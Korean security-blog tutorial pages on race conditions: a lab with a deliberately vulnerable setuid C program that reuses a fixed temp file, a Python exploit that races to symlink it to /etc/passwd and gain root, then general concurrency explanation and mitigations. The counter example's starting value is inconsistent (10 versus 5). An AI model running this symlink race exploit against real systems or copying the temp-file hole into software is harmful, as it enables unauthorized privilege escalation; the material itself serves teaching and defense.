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Race Condition :: D4m0n

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Race Condition

레이스 컨디션이란?

레이스 컨디션 은 공유 자원에 대해 여러 개의 프로세스가 동시에 접근하기 위해 경쟁 하는 상태를 말한다.

이렇게 프로세스들이 경쟁하는 것을 이용하여 관리자 권한을 얻는 공격을 레이스 컨디션 공격 이라 한다.

레이스 컨디션 공격의 기본 개념

레이스 컨디션 공격의 대상은 소유자가 root이고, SetUID가 설정된, 임시 파일을 생성하는 프로그램이다.

정상적인 공격 대상 프로그램의 실행 절차는 다음과 같다.

프로그램이 실행되면 SetUID로 인해 프로세스 권한이 root 권한으로 상승되고 임시 파일의 존재 여부를 확인한다.

만약 임시 파일이 이미 있다면 삭제하고 재생성해 프로그램이 동작하고 임시 파일은 삭제된다.

이제 해커의 관점에서의 프로그램 실행 절차를 보겠다.

프로그램이 실행되면 SetUID로 인해 프로세스 권한이 root 권한으로 상승되고 임시 파일의 존재 여부를 확인한다.

만약 임시 파일이 이미 있다면 삭제하고 재생성한다.

해커는 재생성된 임시 파일을 삭제하고 임시 파일의 이름으로 심볼릭 링크를 생성한다.

그 후, 프로그램이 동작하고 임시 파일은 삭제된다.

이렇게 실행되는 프로그램에 대해 레이스 컨디션 공격을 수행하려면 파일의 소유자가 root이고

SetUID가 설정된 프로그램이어야 한다는 것 외에 한 가지 조건이 더 있다.

바로 생성되는 임시 파일의 이름을 알고 있어야 한다는 것이다.

임시 파일의 이름을 파악하는 방법은 lsof 명령어를 사용하거나 리버스 엔지니어링 등이 있다.

레이스 컨디션 공격 실습

다음은 레이스 컨디션 공격에 취약한 프로그램의 소스 코드이다.

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 #include #include #include #include #include int main( int argc, char * argv[]) { struct stat st; FILE * fp; if (access( “temp” , F_OK | W_OK) = = 0 ) remove( “temp” ); if ((fp = fopen( “temp” , “a” )) = = NULL) { fprintf(stderr, “Can’t open file.” ); exit(EXIT_FAILURE); } fprintf(fp, “%s

” , argv[ 1 ]); fprintf(stderr, “Write Success!!!

” ); fclose(fp); remove( “temp” ); exit(EXIT_SUCCESS); } Colored by Color Scripter cs

temp라는 파일이 있으면 삭제하고 아니면 argv[1]의 값을 temp 파일에 쓰고

temp 파일을 삭제하는 간단한 프로그램이다.

root 계정으로 소스 코드를 작성하고 컴파일 해준 후 권한 설정 후 실행시켜보았다.

temp 파일은 역시 tempbug 프로그램의 처리 과정에 의해 삭제된다.

다음은 Python으로 작성한 exploit code이다.

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 import os import sys import threading import subprocess def execute(): subprocess.call([ ‘./tempbug’ , sys.argv[ 2 ], ‘&’ ], stdout = subprocess.PIPE, stderr = subprocess.PIPE) def exploit(): subprocess.call([ ‘ln’ , ‘-s’ , sys.argv[ 1 ], ‘temp’ ], stdout = subprocess.PIPE, stderr = subprocess.PIPE) if __name__ = = ‘__main__’ : while (True): with open (sys.argv[ 1 ], ‘rt’ ) as fp: check = fp.read() offset = check.find(sys.argv[ 2 ]) check = check[offset::].strip( ‘

‘ ) if check = = sys.argv[ 2 ]: print ( “[*] Exploit Success!!!” ) break th1 = threading.Thread(target = execute) th2 = threading.Thread(target = exploit) th1.start() th2.start() Colored by Color Scripter cs

취약한 프로그램을 실행시키는 execute 함수와 심볼릭 링크를 생성하는 exploit 함수를 선언하고

반복문을 무한으로 돌려 execute 함수와 exploit 함수를 스레드로 실행한다.

그리고 공격 성공 여부를 체크하여 반복문을 빠져나온다.

다시 일반 유저로 돌아와 exploit을 작성하고 실행해 본다.

/etc/passwd 파일을 확인해보면 exploit이 성공한 걸 볼 수 있다.

Ctrl + Alt + F1을 눌러 hacker로 로그인을 해보면 root 계정으로 접속할 수 있게 된다.

대응 방안

가능하면 임시 파일 생성을 자제한다.

임시 파일을 생성하고 심볼릭 링크가 있는지 검사한다.

임시 파일을 생성할 때 이름을 랜덤으로 생성하여 추측하지 못하게 한다.

잡학지식) 레이스 컨디션 (Race Condition)

레이스 컨디션 (Race Condition)

일반적으로 레이스 컨디션 이란 두 개 이상의 프로세스가 공통 자원을 병행적으로(concurrently) 읽거나 쓸 때, 공용 데이터에 대한 접근이 어떤 순서에 따라 이루어졌는지에 따라 그 실행 결과가 달라지는 상황을 말한다.

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레이스 컨디션이 발생하게 되면 모든 프로세스에 원하는 결과가 발생하는 것을 보장할 수 없으므로 이러한 상황은 반드시 피해야 한다. 중간에 값이 변경되는 것은 예측이 불가능하고 실제 이런 코드들이 문제를 발생하기도 한다.

예시로 보면

병행적으로 수행되는 두 프로세스 A와 B에서 공용으로 사용하는 데이터 value가 있고 10라는 값을 가지고 있다고 하자.

value = 5

프로세스 A 프로세스 B

ㄱ) value–;

ㄴ) printf(“%d”, value);

ㄷ) value++

ㄹ) printf(“% d”, value);

프로세스 A의 입장에서는 9라는 값을 기대할 것이고, B)의 입장에서는 11이라는 값을 기대할 것이다. 하지만 두 프로세스의 결과는 어떤 순서로 프로세스의 각 부분이 공용 데이터 value에 접근하는가에 따라 달라진다.

결과값은 다음과 같다.

프로세스 A – 프로세스 B

ㄱ), ㄴ), ㄷ), ㄹ) 9 10

ㄷ), ㄹ), ㄱ), ㄴ) 10 11

ㄱ), ㄷ), ㄴ), ㄹ) 10 10

ㄷ), ㄱ), ㄴ), ㄹ) 10 10

간단한 예로는 값을 변환하지만

value를 은행 계좌로 대입을 하면

프로세스 A와 B를 같은 계좌에서 돈을 입금하거나 출금하려고 하는 상황으로 대입하면 데이터의 무결성을 해야하는 중요성을 쉽게 파악할 수 있을 것이다.

임계구역

임계 구역(critical section) 또는 공유변수 영역은 병렬컴퓨팅에서 둘 이상의 스레드가 동시에 접근해서는 안 되는 공유 자원(자료 구조 또는 장치)을 접근하는 코드의 일부를 말한다. 임계 구역은 지정된 시간이 지난 후 종료된다. 때문에 어떤 스레드(태스크 또는 프로세스)가 임계 구역에 들어가고자 한다면 지정된 시간만큼 대기해야 한다. 스레드가 공유자원의 배타적인 사용을 보장받기 위해서 임계 구역에 들어가거나 나올 때는 세마포어 같은 동기화 매커니즘이 사용된다.

락 기법

-synchronized 을 통해서 해당 자원은 독점시키는 방법

등등으로 해결한다 .

굉장히 많은 상황에서 데이터의 변환이나 이상현상이 발생하는 경우가 있다. 그래서 데이터의 무결성을 확보하는 것에 신경 써야한다.

★★★★☆

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레이스 컨디션 공격 (Race Condition Attack)

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레이스 컨디션 : 공유 자원에 대한 프로세스(또는 스레드)들의 접근 순서에 대한 조건/상황의 결과

* 레이스 컨디션 공격

– 레이스 컨디션에 의해 고려되지 않은 상황이 발생하는 경우 악용이 가능한 공격으로, 실행 프로세스가 임시파일을 생성할 시, 실행 중에 끼어들어 임시 파일을 목적 파일로 연결(심볼릭 링크)하여 권한 상승(setuid를 이용) 등 악용하는 공격

* 레이스 컨디션 동작 구조 예시

– setuid(소유자 권한으로 실행)가 설정된 파일이 실행 중일 때 생성되는 임시파일에 심볼릭링크(/etc/passwd 등 Critical 파일) 생성, Setuid를 통한 권한 상승 적용된 후 심볼릭 링크한 대상 파일로 중요 정보 쓰기 수행, root 패스워드 탈취 등 수행 가능

* 레이스 컨디션 대응 방안

1) 가능하면 임시파일 생성 금지

2) 파일 생성 시, 동일 파일이 존재하면, 파일 생성 또는 쓰기를 금지

3) 사용하고자 하는 파일에 링크가 걸려 있을 시, 실행 중단

4) umask를 최하 022(쓰기 권한 제거)정도로 유지, 임시 생성 파일이 공격자에 의해 악의적으로 삭제되지 않도록 함

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